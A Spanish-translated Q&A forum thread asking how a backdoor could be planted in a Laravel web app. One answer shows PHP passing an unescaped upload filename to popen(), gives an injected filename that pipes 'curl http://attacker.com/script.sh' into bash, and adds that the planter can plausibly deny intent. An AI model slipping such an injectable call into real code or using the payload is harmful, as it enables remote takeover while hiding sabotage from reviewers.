¿Cómo dejar una puerta trasera en una aplicación Laravel?

-2

Tengo bastante curiosidad por saber cómo alguien podría dejar una puerta trasera en una aplicación Laravel. En mi opinión, no hay manera, porque el punto de entrada de las solicitudes es un archivo de ruta, y usted tiene que escribir el código de la ruta para que haya algo que ejecutar. El miembro de tu equipo podrá rastrearlo y te dirá "¡Hey! ¿Qué es eso?".

Cada solicitud tiene un punto de entrada y ese punto de entrada es una ruta en este caso, que llamará a un controlador específico y su método. Y ahí tienes alguna lógica que puede ser ejecutable.

Como sabemos que tienes que seguir algunas reglas bastante claras para escribir consultas SQL, la protección CSRF ya está ahí. Las vulnerabilidades de seguridad comunes están bien tratadas en el marco de Laravel.

Entonces, ¿cuáles son las posibles formas de dejar una puerta trasera en una aplicación web?

    
pregunta Comrade 22.04.2017 - 20:16
fuente

2 respuestas

2
  

¿Cuáles son las posibles formas de dejar una puerta trasera en una aplicación web?

Digamos que tienes una URL para subir un documento. Los archivos se cargan en esta URL bastante inocua:

https://example.com/upload.php?filename=blah.doc
# alternatively, filename could be in the request body, which makes no difference to the attack vector

Tiene un código que convierte el documento cargado a html para obtener una vista previa en el navegador:

$filename = $GET["filename"];
...
popen("doc2html " + $filename, "r");
# alternatively, using Symfony's Process class makes no difference to vulnerability

Parece inocuo, pero desafortunadamente, este código le da a un atacante acceso total a su máquina. El atacante solo puede cargar un archivo llamado foo.doc || curl http://attacker.com/script.sh | bash , es decir, subir a https://example.com/upload.php?filename=foo.doc%20%7C%7C%20curl%20http%3A%2F%2Fattacker.com%2Fscript.sh%20%7C%20bash . Y cuando popen()-ed , este nombre de archivo hará que Popen descargue y ejecute script.sh.

Si se encuentra el error, simplemente puede decir "oops, ese fue un error honesto", puede negar plausiblemente que haya insertado intencionalmente la puerta trasera.

    
respondido por el Lie Ryan 23.04.2017 - 14:09
fuente
-3

No dejas una puerta trasera. Las puertas traseras se dejan involuntariamente. Por ejemplo, cuando se conecta a su base de datos remota sin canales seguros (ssl quizás) que no está cifrado, está dejando una vulnerabilidad. Digamos que alguien aprovecha su comunicación o tal vez simplemente obtiene su url (cadena de conexión) y altera / elimina su base de datos que es vulnerable y pierde todos sus datos valiosos, entonces será una explotación de su vulnerabilidad o simplemente utilizando una puerta trasera

    
respondido por el Muhammad Khubaib Umer 23.04.2017 - 00:08
fuente

Lea otras preguntas en las etiquetas